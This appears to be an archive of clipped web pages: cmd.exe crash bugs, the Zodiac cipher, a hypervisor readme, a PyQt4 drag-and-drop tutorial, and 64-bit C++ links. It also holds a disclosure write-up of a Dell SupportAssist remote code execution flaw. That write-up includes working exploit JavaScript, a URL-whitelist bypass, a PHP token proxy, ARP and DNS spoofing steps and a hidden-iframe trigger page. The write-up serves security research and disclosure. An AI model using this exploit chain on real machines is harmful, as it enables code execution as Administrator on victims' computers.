instruction pointer**.** It's not immediately obvious whether an attacker has
control of the instruction pointer, but Microsoft's `**!** exploitable`
rightfully categorizes the crash as `EXPLOITABLE`**.**

**Bug \#2**

I found this bug while cleaning my keyboard**.** To reproduce this bug, simply
type around 900 or more characters in a Windows `cmd.exe` prompt and then
press the `TAB` key**.** Just like with the case above, cmd.exe will
disappear**.** Further investigation with a debugger shows that the bug is a
stack buffer overflow that overwrites the Structured Exception Handler
\(SEH\)**.** Microsoft `**!** exploitable` also rightfully categorizes the
crash as `EXPLOITABLE`**.**

Now, how severe are these bugs**?** When considering the impact of a
vulnerability, or even whether a bug is a vulnerability at all, we must
consider the attack vector**.** In the two cases above, what would successful
exploitation get an attacker that he didn't already have**?** To trigger the
bugs, an attacker would need the ability to provide arbitrary input to a
Windows command prompt**.** In other words, as a prerequisite for triggering
either bug, an attacker would already require the ability to run arbitrary
commands**.** And the outcome of successful exploitation would be the ability
to run arbitrary code**.** The difference between these two scenarios is
negligible, so they are therefore not even considered a vulnerability**\!**

**Conclusion**

When looking at software bugs and vulnerabilities, it's important to consider
the attack vectors**.** If you're not looking at attack vectors, you're not
seeing the big picture**.**

****

# Famous Unsolved Ciphers

**Created:**| _4/13/2011 7:43:11 AM_  
---|---  
**Updated:**| _4/13/2011 7:43:11 AM_  
**Author:**| __  
**Tags:**| _bookmark crypto awesome_  
  
<img src='img/slideshow_header_Interim.gif' width='940' height='54' />  
---  
| <img src='img/cleardot.gif' width='15' height='1' />| **The Zodiac cipher.** The Zodiac Killer, who is credited with five murders in Northern California between 1968 and 1969, became notorious for his manipulation of the press.On July 31, 1969, a man who identified himself as the "Zodiac" sent local newspapers a three-part ciphered message explaining his motivation for three recent murders. He also hinted that his identity was buried in an intricate cipher that used 50 shapes and symbols to signify the 26 letters of the alphabet. Several months later, he sent two more letters and a cryptogram to the _San Francisco_ _Chronicle_ : "Can you print this new cipher on your front page?" he wrote. "I get awfully lonely when I'm ignored, so lonely that I could do my THING." When his code was finally publicized, two university professors cracked most of it, but the killer's identity still remains a mystery. His signoff: a circle and cross.| <img src='img/cleardot.gif' width='15' height='1' />| | | <img src='img/01_zodiac.jpg' width='600' height='450' />  
---  
  
Photograph courtesy Wikimedia Commons.  
---

# tandasat/SimpleSvm

**Created:**| _5/28/2017 11:02:06 AM_  
---|---  
**Updated:**| _5/28/2017 11:02:06 AM_  
**Author:**| __  
**Tags:**| _asm cpu_  
  

  

# SimpleSvm

## Introduction

SimpleSvm is a minimalistic educational hypervisor for Windows on AMD
processors. It aims to provide small and explanational code to use Secure
Virtual Machine \(SVM\), the AMD version of Intel VT-x, with Nested Page
Tables \(NPT\) from a windows driver.

SimpleSvm is inspired by SimpleVisor, an Intel x64/EM64T VT-x specific
hypervisor for Windows, written by Alex Ionescu \(@aionescu\).

## Supported Platforms

  * Windows 10 x64 and Windows 7 x64
  * AMD Processors with SVM and NPT support

## Resources

  * AMD64 Architecture Programmer’s Manual Volume 2 and 3
    * http://developer.amd.com/resources/developer-guides-manuals/
  * SimpleVisor
    * http://ionescu007.github.io/SimpleVisor/

# SimpleSvm

## Introduction

SimpleSvm is a minimalistic educational hypervisor for Windows on AMD
processors. It aims to provide small and explanational code to use Secure
Virtual Machine \(SVM\), the AMD version of Intel VT-x, with Nested Page
Tables \(NPT\) from a windows driver.

SimpleSvm is inspired by SimpleVisor, an Intel x64/EM64T VT-x specific
hypervisor for Windows, written by Alex Ionescu \(@aionescu\).

## Supported Platforms

  * Windows 10 x64 and Windows 7 x64
  * AMD Processors with SVM and NPT support

## Resources

  * AMD64 Architecture Programmer’s Manual Volume 2 and 3
    * http://developer.amd.com/resources/developer-guides-manuals/
  * SimpleVisor
    * http://ionescu007.github.io/SimpleVisor/

  

# Drag and Drop in PyQt4

**Created:**| _1/12/2010 6:36:37 PM_  
---|---  
**Updated:**| _1/12/2010 7:50:09 PM_  
**Author:**| __  
**Tags:**| _python qt_  
  

Home Contents

# Drag and Drop in PyQt4

In this part of the PyQt4 tutorial, we will talk about drag & drop operations.

In computer graphical user interfaces, drag-and-drop is the action of \(or
support for the action of\) clicking on a virtual object and dragging it to a
different location or onto another virtual object. In general, it can be used
to invoke many kinds of actions, or create various types of associations
between two abstract objects. \(Wikipedia\)

Drag and drop functionality is one of the most visible aspects of the
graphical user interface. Drag and drop operation enables users to do complex
things intuitively.

Usually, we can drag and drop two things. Data or some graphical objects. If
we drag an image from one application to another, we drag and drop binary
data. If we drag a tab in Firefox and move it to another place, we drag and
drop a graphical component.

### Simple Drag and Drop

In the first example, we will have a **QLineEdit** and a **QPushButton**. We
will drag plain text from the line edit widget and drop it onto the button
widget.

[code]

    #!/usr/bin/python
    
    # dragdrop.py
    
    import sys
    from PyQt4 import QtGui
    
    class Button(QtGui.QPushButton):
        def __init__(self, title, parent):
            QtGui.QPushButton.__init__(self, title, parent)
            self.setAcceptDrops(True)
    
        def dragEnterEvent(self, event):
            if event.mimeData().hasFormat('text/plain'):
                event.accept()
            else:
                event.ignore() 
    
        def dropEvent(self, event):
            self.setText(event.mimeData().text()) 
    
    
    class DragDrop(QtGui.QDialog):
        def __init__(self, parent=None):
            QtGui.QDialog.__init__(self, parent)
    
            self.resize(280, 150)
            self.setWindowTitle('Simple Drag & Drop')
    
            edit = QtGui.QLineEdit('', self)
            edit.setDragEnabled(True)
            edit.move(30, 65)
    
            button = Button("Button", self)
            button.move(170, 65)
    
            screen = QtGui.QDesktopWidget().screenGeometry()
            size =  self.geometry()
            self.move((screen.width()-size.width())/2, 
                (screen.height()-size.height())/2)
    
    app = QtGui.QApplication(sys.argv)
    icon = DragDrop()
    icon.show()
    app.exec_()
    
    
[/code]

Simple drag & drop operation.

[code]

     class Button(QtGui.QPushButton):
         def __init__(self, title, parent):
             QtGui.QPushButton.__init__(self, title, parent)
    
    
[/code]

In order to drop text on the **QPushButton** widget, we must reimplement some
methods. So we create our own Button class, which will inherit from the
QPushButton class.

[code]

     self.setAcceptDrops(True)
    
    
[/code]

We enable drop events for the widget.

[code]

     def dragEnterEvent(self, event):
         if event.mimeData().hasFormat('text/plain'):
             event.accept()
         else:
             event.ignore() 
    
    
[/code]

First we reimplement the dragEnterEvent\(\) method. We inform about the data
type, we will accept. In our case it is plain text.

[code]

     def dropEvent(self, event):
         self.setText(event.mimeData().text()) 
    
    
[/code]

By reimplementing the dropEvent\(\) method, we will define, what we will do
upon the drop event. Here we change the text of the button widget.

[code]

     edit = QtGui.QLineEdit('', self)
     edit.setDragEnabled(True)
    
    
[/code]

The **QLineEdit** widget has a built-in support for drag operations. All we
need to do is to call **setDragEnabled\(\)** method to activate it.

  
<img src='img/Temp2_2437.png' alt='Simple Drag ' />

Figure: Simple Drag & Drop

### Drag & drop a button widget

In the following example, we will demonstrate, how to drag & drop a button
widget.

[code]

    #!/usr/bin/python
    
    # dragbutton.py
    
    import sys
    from PyQt4 import QtGui
    from PyQt4 import QtCore
    
    class Button(QtGui.QPushButton):
        def __init__(self, title, parent):
            QtGui.QPushButton.__init__(self, title, parent)
    
        def mouseMoveEvent(self, event):
    
            if event.buttons() != QtCore.Qt.RightButton:
                return
    
            mimeData = QtCore.QMimeData()
    
            drag = QtGui.QDrag(self)
            drag.setMimeData(mimeData)
            drag.setHotSpot(event.pos() - self.rect().topLeft())
    
            dropAction = drag.start(QtCore.Qt.MoveAction)
    
            if dropAction == QtCore.Qt.MoveAction:
                self.close()
    
    
        def mousePressEvent(self, event):
            QtGui.QPushButton.mousePressEvent(self, event)
            if event.button() == QtCore.Qt.LeftButton:
                print 'press'
    
    
    
    class DragButton(QtGui.QDialog):
        def __init__(self, parent=None):
            QtGui.QDialog.__init__(self, parent)
    
            self.resize(280, 150)
            self.setWindowTitle('Click or Move')
            self.setAcceptDrops(True)
    
            self.button = Button('Button', self)
            self.button.move(100, 65)
    
    
            screen = QtGui.QDesktopWidget().screenGeometry()
            size = self.geometry()
            self.move((screen.width()-size.width())/2, 
                (screen.height()-size.height())/2)
    
    
        def dragEnterEvent(self, event):
            event.accept()
    
        def dropEvent(self, event):
    
            position = event.pos()
            button = Button('Button', self)
            
            button.move(position)
            button.show()
    
            event.setDropAction(QtCore.Qt.MoveAction)
            event.accept()
    
    
    app = QtGui.QApplication(sys.argv)
    db = DragButton()
    db.show()
    app.exec_()
    
    
[/code]

In our code example, we have a **QPushButton** on the window. If we click on
the button with a left mouse button, we print 'press' to the console. By right
clicking and moving the button, we perform a drag & drop operation on the
button widget.

[code]

     class Button(QtGui.QPushButton):
         def __init__(self, title, parent):
             QtGui.QPushButton.__init__(self, title, parent)
    
    
[/code]

We create a Button class, which will derive from the QPushButton. We also
reimplement two methods of the QPushButton. **mouseMoveEvent\(\)** and
**mousePressEvent\(\)**. The mouseMoveEvent\(\) method is the place, where the
drag & drop operation begins.

[code]

     if event.buttons() != QtCore.Qt.RightButton:
         return
    
    
[/code]

Here we decide, that we can perform drag & drop only with a right mouse
button. The left mouse button is reserved for clicking on the button.

[code]

     mimeData = QtCore.QMimeData()
    
     drag = QtGui.QDrag(self)
     drag.setMimeData(mimeData)
     drag.setHotSpot(event.pos() - self.rect().topLeft())
    
    
[/code]

Here we create a **QDrag** object.

[code]

     dropAction = drag.start(QtCore.Qt.MoveAction)
    
     if dropAction == QtCore.Qt.MoveAction:
         self.close()
    
    
[/code]

The **start\(\)** method of the drag object starts the drag & drop operation.
If we perform a move drop action, we destroy the button widget. Technically,
we destroy a widget on the current position and recreate it on a new one.

[code]

     def mousePressEvent(self, event):
         QtGui.QPushButton.mousePressEvent(self, event)
         if event.button() == QtCore.Qt.LeftButton:
             print 'press'
    
    
[/code]

We print 'press' to the console, if we left click on the button with the
mouse. Notice that we call mousePressEvent\(\) method on the parent as well.
Otherwise we would not see the button being pushed.

[code]

     position = event.pos()
     button = Button('Close', self)
     button.move(position)
     button.show()
    
    
[/code]

In the dropEvent\(\) method we code, what happens after we release the mouse
button and finish the drop operation. In our example, we create a new Button
widget at the current position of the mouse pointer.

[code]

     event.setDropAction(QtCore.Qt.MoveAction)
     event.accept()
    
    
[/code]

We specify the type of the drop action. In our case it is a move action.

  

Home ‡ Contents ‡ Top of Page

ZetCode last modified February 16, 2008 © 2007 - 2008 Jan Bodnar

# Remote Code Execution on most Dell computers

**Created:**| _5/10/2019 8:22:02 AM_  
---|---  
**Updated:**| _5/10/2019 8:22:02 AM_  
**Author:**| __  
**Tags:**| _pwnage_  
  

  

# Remote Code Execution on most Dell computers

What computer do you use? Who made it? Have you ever thought about what came
with your computer? When we think of Remote Code Execution \(RCE\)
vulnerabilities in mass, we might think of vulnerabilities in the operating
system, but another attack vector to consider is “What third-party software
came with my PC?”. In this article, I’ll be looking at a Remote Code Execution
vulnerability I found in Dell SupportAssist, software meant to “proactively
check the health of your system’s hardware and software” and which is
“preinstalled on most of all new Dell devices”.

# Discovery

Back in September, I was in the market for a new laptop because my 7-year-old
Macbook Pro just wasn’t cutting it anymore. I was looking for an affordable
laptop that had the performance I needed and I decided on Dell’s G3 15 laptop.
I decided to upgrade my laptop’s 1 terabyte hard drive to an SSD. After
upgrading and re-installing Windows, I had to install drivers. This is when
things got interesting. After visiting Dell’s support site, I was prompted
with an interesting option.

<img src='img/Bc8Cx6H.png' width='720' height='346' />

“Detect PC”? How would it be able to detect my PC? Out of curiosity, I clicked
on it to see what happened.

<img src='img/USoJume.png' width='720' height='481' />

A program which automatically installs drivers for me. Although it was a
convenient feature, it seemed risky. The agent wasn’t installed on my computer
because it was a fresh Windows installation, but I decided to install it to
investigate further. It was very suspicious that Dell claimed to be able to
update my drivers through a website.

Installing it was a painless process with just a click to install button. In
the shadows, the SupportAssist Installer created the `SupportAssistAgent` and
the `Dell Hardware Support` service. These services corresponded to .NET
binaries making it easy to reverse engineer what it did. After installing, I
went back to the Dell website and decided to check what it could find.

<img src='img/3koDq6L.png' width='720' height='260' />

I opened the Chrome Web Inspector and the Network tab then pressed the “Detect
Drivers” button.

<img src='img/bEVfaii.png' width='707' height='175' />

The website made requests to port `8884` on my local computer. Checking that
port out on Process Hacker showed that the `SupportAssistAgent` service had a
web server on that port. What Dell was doing is exposing a REST API of sorts
in their service which would allow communication from the Dell website to do
various requests. The web server replied with a strict `Access-Control-Allow-
Origin` header of `https://www.dell.com` to prevent other websites from making
requests.

On the web browser side, the client was providing a signature to authenticate
various commands. These signatures are generated by making a request to
`https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken`
which also provides when the signature expires. After pressing download
drivers on the web side, this request was of particular interest:

[code]

    POST http://127.0.0.1:8884/downloadservice/downloadmanualinstall?expires=expiretime&signature=signature
    Accept: application/json, text/javascript, */*; q=0.01
    Content-Type: application/json
    Origin: https://www.dell.com
    Referer: https://www.dell.com/support/home/us/en/19/product-support/servicetag/xxxxx/drivers?showresult=true&files=1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
    
[/code]

The body:

[code]

    [
        {
        "title":"Dell G3 3579 and 3779 System BIOS",
        "category":"BIOS",
        "name":"G3_3579_1.9.0.exe",
        "location":"https://downloads.dell.com/FOLDER05519523M/1/G3_3579_1.9.0.exe?uid=29b17007-bead-4ab2-859e-29b6f1327ea1&fn=G3_3579_1.9.0.exe",
        "isSecure":false,
        "fileUniqueId":"acd94f47-7614-44de-baca-9ab6af08cf66",
        "run":false,
        "restricted":false,
        "fileId":"198393521",
        "fileSize":"13 MB",
        "checkedStatus":false,
        "fileStatus":-99,
        "driverId":"4WW45",
        "path":"",
        "dupInstallReturnCode":"",
        "cssClass":"inactive-step",
        "isReboot":true,
        "DiableInstallNow":true,
        "$$hashKey":"object:175"
        }
    ]
    
[/code]

It seemed like the web client could make direct requests to the
`SupportAssistAgent` service to “download and manually install” a program. I
decided to find the web server in the `SupportAssistAgent` service to
investigate what commands could be issued.

On start, Dell SupportAssist starts a web server \(System.Net.HttpListener\)
on either port 8884, 8883, 8886, or port 8885. The port depends on whichever
one is available, starting with 8884. On a request, the ListenerCallback
located in HttpListenerServiceFacade calls
ClientServiceHandler.ProcessRequest.

ClientServiceHandler.ProcessRequest, the base web server function, starts by
doing integrity checks for example making sure the request came from the local
machine and various other checks. Later in this article, we’ll get into some
of the issues in the integrity checks, but for now most are not important to
achieve RCE.

An important integrity check for us is in ClientServiceHandler.ProcessRequest,
specifically the point at which the server checks to make sure my referrer is
from Dell. ProcessRequest calls the following function to ensure that I am
from Dell:

[code]

    // Token: 0x060000A8 RID: 168 RVA: 0x00004EA0 File Offset: 0x000030A0
    public static bool ValidateDomain(Uri request, Uri urlReferrer)
    {
    	return SecurityHelper.ValidateDomain(urlReferrer.Host.ToLower()) && (request.Host.ToLower().StartsWith("127.0.0.1") || request.Host.ToLower().StartsWith("localhost")) &&request.Scheme.ToLower().StartsWith("http") && urlReferrer.Scheme.ToLower().StartsWith("http");
    }
    
    // Token: 0x060000A9 RID: 169 RVA: 0x00004F24 File Offset: 0x00003124
    public static bool ValidateDomain(string domain)
    {
    	return domain.EndsWith(".dell.com") || domain.EndsWith(".dell.ca") || domain.EndsWith(".dell.com.mx") || domain.EndsWith(".dell.com.br") || domain.EndsWith(".dell.com.pr") || domain.EndsWith(".dell.com.ar") || domain.EndsWith(".supportassist.com");
    }
    
[/code]

The issue with the function above is the fact that it really isn’t a solid
check and gives an attacker a lot to work with. To bypass the Referer/Origin
check, we have a few options:

  1. Find a Cross Site Scripting vulnerability in any of Dell’s websites \(I should only have to find one on the sites designated for SupportAssist\)
  2. Find a Subdomain Takeover vulnerability
  3. Make the request from a local program
  4. Generate a random subdomain name and use an external machine to DNS Hijack the victim. Then, when the victim requests \[random\].dell.com, we respond with our server.

In the end, I decided to go with option 4, and I’ll explain why in a later
bit. After verifying the Referer/Origin of the request, ProcessRequest sends
the request to corresponding functions for GET, POST, and OPTIONS.

When I was learning more about how Dell SupportAssist works, I intercepted
different types of requests from Dell’s support site. Luckily, my laptop had
some pending updates, and I was able to intercept requests through my browsers
console.

At first, the website tries to detect SupportAssist by looping through the
aformentioned service ports and connecting to the Service Method “isalive”.
What was interesting was that it was passing a “Signature” parameter and a
“Expires” parameter. To find out more, I reversed the javascript side of the
browser. Here’s what I found out:

  1. First, the browser makes a request to https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken and gets the latest “Token”, or the signatures I was talking about earlier. The endpoint also provides the “Expires token”. This solves the signature problem.
  2. Next, the browser makes a request to each service port with a style like this: http://127.0.0.1:\[SERVICEPORT\]/clientservice/isalive/?expires=\[EXPIRES\]&signature=\[SIGNATURE\].
  3. The SupportAssist client then responds when the right service port is reached, with a style like this: 
[code]    {

     "isAlive": true,
     "clientVersion": "[CLIENT VERSION]",
     "requiredVersion": null,
     "success": true,
     "data": null,
     "localTime": [EPOCH TIME],
     "Exception": {
         "Code": null,
         "Message": null,
         "Type": null
     }
    }
    
[/code]

  4. Once the browser sees this, it continues with further requests using the now determined service port.

Some concerning factors I noticed while looking at different types of requests
I could make is that I could get a very detailed description of every piece of
hardware connected to my computer using the “getsysteminfo” route. Even
through Cross Site Scripting, I was able to access this data, which is an
issue because I could seriously fingerprint a system and find some sensitive
information.

Here are the methods the agent exposes:

[code]

    clientservice_getdevicedrivers - Grabs available updates.
    diagnosticsservice_executetip - Takes a tip guid and provides it to the PC Doctor service (Dell Hardware Support).
    downloadservice_downloadfiles - Downloads a JSON array of files.
    clientservice_isalive - Used as a heartbeat and returns basic information about the agent.
    clientservice_getservicetag - Grabs the service tag.
    localclient_img - Connects to SignalR (Dell Hardware Support).
    diagnosticsservice_getsysteminfowithappcrashinfo - Grabs system information with crash dump information.
    clientservice_getclientsysteminfo - Grabs information about devices on system and system health information optionally.
    diagnosticsservice_startdiagnosisflow - Used to diagnose issues on system.
    downloadservice_downloadmanualinstall - Downloads a list of files but does not execute them.
    diagnosticsservice_getalertsandnotifications - Gets any alerts and notifications that are pending.
    diagnosticsservice_launchtool - Launches a diagnostic tool.
    diagnosticsservice_executesoftwarefixes - Runs remediation UI and executes a certain action.
    downloadservice_createiso - Download an ISO.
    clientservice_checkadminrights - Check if the Agent privileged.
    diagnosticsservice_performinstallation - Update SupportAssist.
    diagnosticsservice_rebootsystem - Reboot system.
    clientservice_getdevices - Grab system devices.
    downloadservice_dlmcommand - Check on the status of or cancel an ongoing download.
    diagnosticsservice_getsysteminfo - Call GetSystemInfo on PC Doctor (Dell Hardware Support).
    downloadservice_installmanual - Install a file previously downloaded using downloadservice_downloadmanualinstall.
    downloadservice_createbootableiso - Download bootable iso.
    diagnosticsservice_isalive - Heartbeat check.
    downloadservice_downloadandautoinstall - Downloads a list of files and executes them.
    clientservice_getscanresults - Gets driver scan results.
    downloadservice_restartsystem - Restarts the system.
    
[/code]

The one that caught my interest was `downloadservice_downloadandautoinstall`.
This method would download a file from a specified URL and then run it. This
method is ran by the browser when the user needs to install certain drivers
that need to be installed automatically.

  1. After finding which drivers need updating, the browser makes a POST request to “http://127.0.0.1:\[SERVICE PORT\]/downloadservice/downloadandautoinstall?expires=\[EXPIRES\]&signature=\[SIGNATURE\]”.
  2. The browser sends a request with the following JSON structure: 
[code]    [

     {
     "title":"DOWNLOAD TITLE",
     "category":"CATEGORY",
     "name":"FILENAME",
     "location":"FILE URL",
     "isSecure":false,
     "fileUniqueId":"RANDOMUUID",
     "run":true,
     "installOrder":2,
     "restricted":false,
     "fileStatus":-99,
     "driverId":"DRIVER ID",
     "dupInstallReturnCode":0,
     "cssClass":"inactive-step",
     "isReboot":false,
     "scanPNPId":"PNP ID",
     "$$hashKey":"object:210"
     }
    ] 
    
[/code]

  3. After doing the basic integrity checks we discussed before, ClientServiceHandler.ProcessRequest sends the ServiceMethod and the parameters we passed to ClientServiceHandler.HandlePost.
  4. ClientServiceHandler.HandlePost first puts all parameters into a nice array, then calls ServiceMethodHelper.CallServiceMethod.
  5. ServiceMethodHelper.CallServiceMethod acts as a dispatch function, and calls the function given the ServiceMethod. For us, this is the “downloadandautoinstall” method: 
[code]    if (service_Method == "downloadservice_downloadandautoinstall")

    {
     string files5 = (arguments != null && arguments.Length != 0 && arguments[0] != null) ? arguments[0].ToString() : string.Empty;
     result = DownloadServiceLogic.DownloadAndAutoInstall(files5, false);
    } 
    
[/code]

Which calls DownloadServiceLogic.DownloadAutoInstall and provides the files we
sent in the JSON payload.

  6. DownloadServiceLogic.DownloadAutoInstall acts as a wrapper \(i.e handling exceptions\) for DownloadServiceLogic.\_HandleJson.
  7. DownloadServiceLogic.\_HandleJson deserializes the JSON payload containing the list of files to download, and does the following integrity checks: 
[code]    foreach (File file in list)

    {
     bool flag2 = file.Location.ToLower().StartsWith("http://");
     if (flag2)
     {
         file.Location = file.Location.Replace("http://", "https://");
     }
     bool flag3 = file != null && !string.IsNullOrEmpty(file.Location) && !SecurityHelper.CheckDomain(file.Location);
     if (flag3)
     {
         DSDLogger.Instance.Error(DownloadServiceLogic.Logger, "InvalidFileException being thrown in _HandleJson method");
         throw new InvalidFileException();
     }
    }
    DownloadHandler.Instance.RegisterDownloadRequest(CreateIso, Bootable, Install, ManualInstall, list);
    
[/code]

The above code loops through every file, and checks if the file URL we
provided doesn’t start with http:// \(if it does, replace it with https://\),
and checks if the URL matches a list of Dell’s download servers \(not all
subdomains\):

[code]

    public static bool CheckDomain(string fileLocation)
    {
    	List<string> list = new List<string>
    	{
    		"ftp.dell.com",
    		"downloads.dell.com",
    		"ausgesd4f1.aus.amer.dell.com"
    	};
    	
    	return list.Contains(new Uri(fileLocation.ToLower()).Host);
    } 
    
[/code]

  1. Finally, if all these checks pass, the files get sent to DownloadHandler.RegisterDownloadRequest at which point the SupportAssist downloads and runs the files _as Administrator_.

This is enough information we need to start writing an exploit.

# Exploitation

The first issue we face is making requests to the SupportAssist client. Assume
we are in the context of a Dell subdomain, we’ll get into how exactly we do
this further in this section. I decided to mimic the browser and make requests
using javascript.

First things first, we need to find the service port. We can do this by
polling through the predefined service ports, and making a request to
“/clientservice/isalive”. The issue is that we need to also provide a
signature. To get the signature that we pass to isalive, we can make a request
to
“https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken”.

This isn’t as straight-forwards as it might seem. The “Access-Control-Allow-
Origin” of the signature url is set to “https://www.dell.com”. This is a
problem, because we’re in the context of a subdomain, probably not https. How
do we get past this barrier? We make the request from our own servers\!

The signatures that are returned from “getdsdtoken” are applicable to all
machines, and not unique. I made a small PHP script that will grab the
signatures:

[code]

    <?php
    header('Access-Control-Allow-Origin: *');
    echo file_get_contents('https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken');
    ?> 
    
[/code]

The header call allows anyone to make a request to this PHP file, and we just
echo the signatures, acting as a proxy to the “getdsdtoken” route. The
“getdsdtoken” route returns JSON with signatures and an expire time. We can
just use JSON.parse on the results to place the signatures into a javascript
object.

Now that we have the signature and expire time, we can start making requests.
I made a small function that loops through each server port, and if we reach
it, we set the server\_port variable \(global\) to the port that responded:

[code]

    function FindServer() {
    	ports.forEach(function(port) {
    		var is_alive_url = "http://127.0.0.1:" + port + "/clientservice/isalive/?expires=" + signatures.Expires + "&signature=" + signatures.IsaliveToken;
    		var response = SendAsyncRequest(is_alive_url, function(){server_port = port;});
    	});
    } 
    
[/code]

After we have found the server, we can send our payload. This was the hardest
part, we have some serious obstacles before “downloadandautoinstall” executes
our payload.

Starting with the hardest issue, the SupportAssist client has a hard whitelist
on file locations. Specifically, its host **must** be either “ftp.dell.com”,
“downloads.dell.com”, or “ausgesd4f1.aus.amer.dell.com”. I almost gave up at
this point, because I couldn’t find an open redirect vulnerability on any of
the sites. Then it hit me, we can do a man-in-the-middle attack.

If we could provide the SupportAssist client with a _http://_ URL, we could
easily intercept and change the response\! This somewhat solves the hardest
challenge.

The second obstacle was designed specifically to counter my solution to the
first obstacle. If we look back to the steps I outlined, if the file URL
starts with _http://_ , it will be replaced by _https://_. This is an issue,
because we can’t really intercept and change the contents of a proper https
connection. The key bypass to this mitigation was in this sentence: “if the
URL _starts with_ http://, it will be replaced by https://”. See, the thing
was, if the URL string did not start with _http://_ , even if there was
_http://_ somewhere else in the string, it wouldn’t replace it. Getting a URL
to work was tricky, but I eventually came up with “
http://downloads.dell.com/abcdefg” \(the space is intentional\). When you ran
the string through the starts with check, it would return false, because the
string starts with “ “, thus leaving the “http://” alone.

I made a function that automated sending the payload:

[code]

    function SendRCEPayload() {
    	var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken;
    
    	var xmlhttp = new XMLHttpRequest();
    	xmlhttp.open("POST", auto_install_url, true);
    
    	var files = [];
    	
    	files.push({
    	"title": "SupportAssist RCE",
    	"category": "Serial ATA",
    	"name": "calc.EXE",
    	"location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY
    	"isSecure": false,
    	"fileUniqueId": guid(),
    	"run": true,
    	"installOrder": 2,
    	"restricted": false,
    	"fileStatus": -99,
    	"driverId": "FXGNY",
    	"dupInstallReturnCode": 0,
    	"cssClass": "inactive-step",
    	"isReboot": false,
    	"scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",
    	"$$hashKey": "object:210"});
    	
    	xmlhttp.send(JSON.stringify(files)); 
    }
    
[/code]

Next up was the attack from the local network. Here are the steps I take in
the external portion of my proof of concept \(attacker’s machine\):

  1. Grab the interface IP address for the specified interface.
  2. Start the mock web server and provide it with the filename of the payload we want to send. The web server checks if the Host header is `downloads.dell.com` and if so sends the binary payload. If the request Host has dell.com in it and is not the downloads domain, it sends the javascript payload which we mentioned earlier.
  3. To ARP Spoof the victim, we first enable ip forwarding then send an ARP packet to the victim telling it that we’re the router and an ARP packet to the router telling it that we’re the victim machine. We repeat these packets every few seconds for the duration of our exploit. On exit, we will send the original mac addresses to the victim and router.
  4. Finally, we DNS Spoof by using iptables to redirect DNS packets to a netfilter queue. We listen to this netfilter queue and check if the requested DNS name is our target URL. If so, we send a fake DNS packet back indicating that our machine is the true IP address behind that URL.
  5. When the victim visits our subdomain \(either directly via url or indirectly by an iframe\), we send it the malicious javascript payload which finds the service port for the agent, grabs the signature from the php file we created earlier, then sends the RCE payload. When the RCE payload is processed by the agent, it will make a request to `downloads.dell.com` which is when we return the binary payload.

You can read Dell’s advisory here.

# Demo

Here’s a small demo video showcasing the vulnerability. You can download the
source code of the proof of concept here.

The source code of the dellrce.html file featured in the video is:

[code]

    <h1>CVE-2019-3719</h1>
    <h1>Nothing suspicious here... move along...</h1>
    <iframe src="http://www.dellrce.dell.com" style="width: 0; height: 0; border: 0; border: none; position: absolute;"></iframe>
    
[/code]

# Timeline

10/26/2018 - Initial write up sent to Dell.

10/29/2018 - Initial response from Dell.

11/22/2018 - Dell has confirmed the vulnerability.

11/29/2018 - Dell scheduled a “tentative” fix to be released in Q1 2019.

01/28/2019 - Disclosure date extended to March.

03/13/2019 - Dell is still fixing the vulnerability and has scheduled
disclosure for the end of April.

04/18/2019 - Vulnerability disclosed as an advisory.

Written on April 30, 2019

# All about 64-bit programming in one place – Blogs - Intel® Software Network

**Created:**| _2/23/2012 9:52:33 PM_  
---|---  
**Updated:**| _2/23/2012 9:52:36 PM_  
**Author:**| __  
**Tags:**| _C++ intel C x64_  
  

# All about 64-bit programming in one place

###  By Andrey Karpov \(54 posts\) on July 7, 2011 at 7:39 am

In this post I've collected a lot of links on the topic of 64-bit C/C++
software development. These include my articles and articles by my colleagues
in the sphere of developing safe and efficient 64-bit code; FAQ's and a
training course. There are also many reviews of third-party articles on 64-bit
software development. Enjoy yourself studying the materials.

**1\. Articles:**

  * A Collection of Examples of 64-bit Errors in Real Programs
  * About size\_t and ptrdiff\_t
  * 64 bits
  * AMD64 \(EM64T\) architecture
  * Other articles

**2\. Lessons on development of 64-bit C/C++ applications**

Main page: http://www.viva64.com/en/l/

_The course is composed of 28 lessons devoted to introduction to 64-bit
systems, issues of building 64-bit applications, methods of searching errors
specific to 64-bit code and code optimization. Such questions are also
considered as estimate of the cost of moving to 64-bit systems and rationality
of this move._

The contents of the course:

  * Lesson 01. What 64-bit systems are.
  * Lesson 02. Support of 32-bit applications.
  * Lesson 03. Porting code to 64-bit systems. The pros and cons.
  * Lesson 04. Creating the 64-bit configuration.
  * Lesson 05. Building a 64-bit application.
  * Lesson 06. Errors in 64-bit code.
  * Lesson 07. The issues of detecting 64-bit errors.
  * Lesson 08. Static analysis for detecting 64-bit errors.
  * Lesson 09. Pattern 01. Magic numbers.
  * Lesson 10. Pattern 02. Functions with variable number of arguments.
  * Lesson 11. Pattern 03. Shift operations.
  * Lesson 12. Pattern 04. Virtual functions.
  * Lesson 13. Pattern 05. Address arithmetic.
  * Lesson 14. Pattern 06. Changing an array's type.
  * Lesson 15. Pattern 07. Pointer packing.
  * Lesson 16. Pattern 08. Memsize-types in unions.
  * Lesson 17. Pattern 09. Mixed arithmetic.
  * Lesson 18. Pattern 10. Storage of integer values in double.
  * Lesson 19. Pattern 11. Serialization and data interchange.
  * Lesson 20. Pattern 12. Exceptions.
  * Lesson 21. Pattern 13. Data alignment.
  * Lesson 22. Pattern 14. Overloaded functions.
  * Lesson 23. Pattern 15. Growth of structures' sizes.
  * Lesson 24. Phantom errors.
  * Lesson 25. Working with patterns of 64-bit errors in practice.
  * Lesson 26. Optimization of 64-bit programs.
  * Lesson 27. Peculiarities of creating installers for a 64-bit environment.
  * Lesson 28. Estimating the cost of 64-bit migration of C/C++ applications.

You may open all the lessons in one file \(the print version as well\).

**3\. Knowledge Base**

  * Can I use 32-bit pointers in a 64-bit application?
  * How can a 32-bit program detect that it is launched in a 64-bit Windows?
